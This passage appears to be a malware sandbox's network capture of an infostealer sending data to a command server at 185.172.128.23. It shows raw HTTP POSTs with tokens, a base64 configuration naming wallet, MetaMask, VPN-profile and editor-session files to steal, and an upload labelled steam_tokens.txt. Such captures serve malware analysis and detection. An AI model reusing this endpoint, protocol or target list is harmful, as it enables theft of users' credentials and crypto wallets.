VjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2FsI
Apr 17, 2024 06:57:17.645378113 CEST	466	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKF Host: 185.172.128.23 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 39 37 35 37 32 31 63 64 34 38 36 35 34 30 30 33 61 36 38 65 35 65 32 65 38 39 39 37 34 39 31 39 62 37 63 32 37 33 31 36 35 65 64 34 65 33 30 62 36 62 62 31 31 30 32 35 32 30 33 36 39 34 64 38 37 33 34 37 36 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"63975721cd48654003a68e5e2e89974919b7c273165ed4e30b6bb11025203694d8734761------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="message"files------AFCBKFHJJJKKFHIDAAKF--
Apr 17, 2024 06:57:17.955421925 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2052 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 52 45 39 44 55 33 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 65 48 77 31 66 44 46 38 4d 58 78 53 52 55 4e 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 55 6b 56 44 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 48 77 71 4c 6e 68 74 62 48 77 78 4e 58 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 47 4a 68 59 32 74 31 63 46 78 38 4b 69 34 71 66 44 45 31 66 44 46 38 4d 58 78 54 56 55 4a 4d 53 55 31 46 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 54 64 57 4a 73 61 57 31 6c 49 46 52 6c 65 48 51 67 4d 31 78 4d 62 32 4e 68 62 46 78 54 5a 58 4e 7a 61 57 39 75 4c 6e 4e 31 59 6d 78 70 62 57 56 66 63 32 56 7a 63 32 6c 76 62 6c 78 38 4b 69 35 7a 64 57 4a 73 61 57 31 6c 58 79 70 38 4d 54 56 38 4d 58 77 78 66 46 5a 51 54 6c 39 44 61 58 4e 6a 62 31 5a 51 54 6e 77 6c 55 46 4a 50 52 31 4a 42 54 55 5a 4a 54 45 56 54 4a 56 78 63 4c 69 35 63 58 46 42 79 62 32 64 79 59 57 31 45 59 58 52 68 58 46 78 44 61 58 4e 6a 62 31 78 44 61 58 4e 6a 62 79 42 42 62 6e 6c 44 62 32 35 75 5a 57 4e 30 49 46 4e 6c 59 33 56 79 5a 53 42 4e 62 32 4a 70 62 47 6c 30 65 53 42 44 62 47 6c 6c 62 6e 52 63 55 48 4a 76 5a 6d 6c 73 5a 56 78 38 4b 69 35 34 62 57 78 38 4d 54 41 77 66 44 46 38 4d 48 78 57 55 45 35 66 52 6d 39 79 64 47 6c 75 5a 58 52 38 4a 56 42 53 54 30 64 53 51 55 31 47 53 Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3VyZSBNb2JpbGl0eSBDbGllbnRcUHJvZmlsZVx8Ki54bWx8MTAwfDF8MHxWUE5fRm9ydGluZXR8JVBST0dSQU1GS
Apr 17, 2024 06:57:18.230930090 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:18.724351883 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:18.731570959 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:19.209633112 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:19.219542980 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:19.711749077 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:19.719295979 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:20.195985079 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:20.203052998 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJD Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:20.697870970 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:20.705275059 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJD Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:21.233067036 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:21.240662098 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJE Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:21.717852116 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:21.726991892 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:22.248656034 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:22.253871918 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:22.645406961 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:22.650574923 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKF Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:23.163996935 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:23.168910027 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFB Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:23.638174057 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:23.644273996 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKF Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:24.182745934 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:24.226037979 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:24.700814009 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:24.708786964 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJD Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:25.219259024 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:25.227567911 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:25.678396940 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:25.691651106 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFC Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:26.246479034 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:26.254086971 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:26.681026936 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:26.688678026 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFC Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:27.210072994 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:27.218477964 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:27.744227886 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:27.756165028 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGH Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:28.226102114 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:28.234663010 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJE Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:28.677270889 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:28.848273039 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:29.319380045 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:30.336004972 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:30.780155897 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:30.787399054 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHD Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:31.273011923 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:31.280761957 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKE Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:31.724024057 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:31.731403112 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:32.216344118 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:32.222593069 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:32.617239952 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:32.624267101 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:33.143286943 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:33.150096893 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJE Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:33.585884094 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:33.593990088 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:34.119884968 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:34.127809048 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDH Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:34.622710943 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:34.630707026 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:35.163817883 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:35.170528889 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFB Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:35.623657942 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:35.633323908 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:36.183152914 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:36.191834927 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBA Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:36.642601967 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:36.649648905 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKF Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:37.151833057 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:37.169301987 CEST	564	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFB Host: 185.172.128.23 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 39 37 35 37 32 31 63 64 34 38 36 35 34 30 30 33 61 36 38 65 35 65 32 65 38 39 39 37 34 39 31 39 62 37 63 32 37 33 31 36 35 65 64 34 65 33 30 62 36 62 62 31 31 30 32 35 32 30 33 36 39 34 64 38 37 33 34 37 36 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 